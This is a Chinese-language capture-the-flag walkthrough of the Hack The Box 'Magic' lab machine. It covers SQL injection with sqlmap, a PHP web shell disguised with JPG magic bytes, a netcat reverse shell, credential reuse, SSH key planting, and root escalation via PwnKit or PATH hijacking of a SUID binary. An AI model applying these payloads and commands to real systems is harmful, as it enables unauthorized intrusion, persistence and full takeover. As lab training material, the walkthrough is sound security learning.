Medium难度,直接扫端口。

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
|   256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)

Port 80

一个图片展示网站。左下角显示可以login可以登录。

http://10.10.10.185/login.php (服务器运行php)

弱口令失败,magic,root,admin。随机输入错误用户名密码时会显示

试试SQLi 1'or'1'='1'-- 没有跳出错误用户名与密码,但也没有登录。有点可疑。用户名里不能输入空格,打开burpsuite在里面加入空格并html encode试试

依然没有跳出“wrong Username or Password”。但等于页面确实会对字符“ ’ ” 有不同的回应。用sqlmap试试。

sqlmap -r req --batch -dbs --level=3 --risk=3

有sql注入漏洞,且提取到了两个数据库。提取Magic看看有什么。

sqlmap -r req --batch -dbs --level=3 --risk=3 -D Magic --tables

dump数据

sqlmap -r req --batch -dbs --level=3 --risk=3 -D Magic -T login --dump

Database: Magic
Table: login
[1 entry]
+----+----------------+----------+
| id | password       | username |
+----+----------------+----------+
| 1  | Th3s3usW4sK1ng | admin    |
+----+----------------+----------+

ok,得到admin密码,试试在页面登录。登录成功:

http://10.10.10.185/upload.php

RCE

可以上传图片,已知服务器运行的有php,上传个php文件试试。

上传个test.php.jpg呢?php会识别.php.jpg文件后缀并当成php文件执行

哈哈,被抓到了。试试把php内容放到jpg里呢?

机器的名字像是给了个提示,试试改变文件的magic bytes

通过wikihttps://en.wikipedia.org/wiki/List_of_file_signatures查到jpg的magicbytes是 FF D8 FF E0

打开hexedit 修改后上传

成功了!刷新看看

右键打开新标签查看

显示jpg错误。一番操作后,发现了服务器会识别文件名后缀和文件的magic bytes,不会匹配content-type。

突发奇想,会不会是服务器先查看文件后缀是否匹配,然后再查看文件magic bytes呢?如果把后缀.php.jpg和修改magic bytes组合起来呢?

vim test.php.jpg >

<?php echo system($_GET['cmd']); ?>

然后hexedit修改magic bytes

上传并打开:

rce成功。用https://www.revshells.com/ 网站生成一个pentest monkey的 php revshell上传

打开netcat监听

magic nc -nlvp 4444               
listening on [any] 4444 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.185] 45358
Linux magic 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 21:08:11 up  2:18,  0 users,  load average: 0.07, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1199): Inappropriate ioctl for device
bash: no job control in this shell
www-data@magic:/$

拿到revshell

Lateral Movement

先升级下shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

看看有什么用户

有个theseus用户。开放端口:

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -

内网开放了631和3306

在/var/www/Magic/目录下

www-data@magic:/var/www/Magic$ ls -al
ls -al
total 52
drwxr-xr-x 4 www-data www-data 4096 Jul 12  2021 .
drwxr-xr-x 4 root     root     4096 Jul  6  2021 ..
-rwx---r-x 1 www-data www-data  162 Oct 18  2019 .htaccess
drwxrwxr-x 6 www-data www-data 4096 Jul  6  2021 assets
-rw-r--r-- 1 www-data www-data  881 Oct 16  2019 db.php5
drwxr-xr-x 4 www-data www-data 4096 Jul  6  2021 images
-rw-rw-r-- 1 www-data www-data 4528 Oct 22  2019 index.php
-rw-r--r-- 1 www-data www-data 5539 Oct 22  2019 login.php
-rw-r--r-- 1 www-data www-data   72 Oct 18  2019 logout.php
-rw-r--r-- 1 www-data www-data 4520 Oct 22  2019 upload.php

查看db.php5

得到数据库cred: theseus/iamkingtheseus 直接su用户看看有没有密码复用

啧,不行。用前面找到的Magic admin的密码试试

芜湖~在home/theseus下得到user flag. 查看/etc/ssh/ssh_config配置文件

ssh关闭了密码认证,在kali上创造一对密钥: ssh-keygen -t rsa -b 4096 -f magic

并把publick key上传到theseus/.ssh/authorized_keys

服务器没装curl 用wget上传key并登录

ok,ssh登录成功。

Root

交给linpeas 做enumeration吧。。找了一大圈,发现没什么可疑的。只能试试kernelexploit了.

试试Pwnkit https://codeload.github.com/berdav/CVE-2021-4034/zip/main

上传后运行:

Boom rooted.

Alternative way

官方walkthrough用的是另一种方法。也是我懒,没有细看每一个SUID的binary。

linpeas找到了一个未知的suid binary。运行后输出系统信息。使用strings /bin/sysinfo查看binary里的字符串

发现系统在用cat /proc/cpuinfo 打印cpu信息而不是/bin/cat 这意味着有PATH injection漏洞。

在theseus主目录下创建一个文件cat, 并把路径加入PATH

echo "#/bin/bash\n chmod +s /bin/bash" > cat
chmod +x cat
export PATH=/home/theseus/:$PATH

再次运行/bin/sysinfo后查看/bin/bash权限

rooted

此作者没有提供个人介绍。
最后更新于 2025-04-19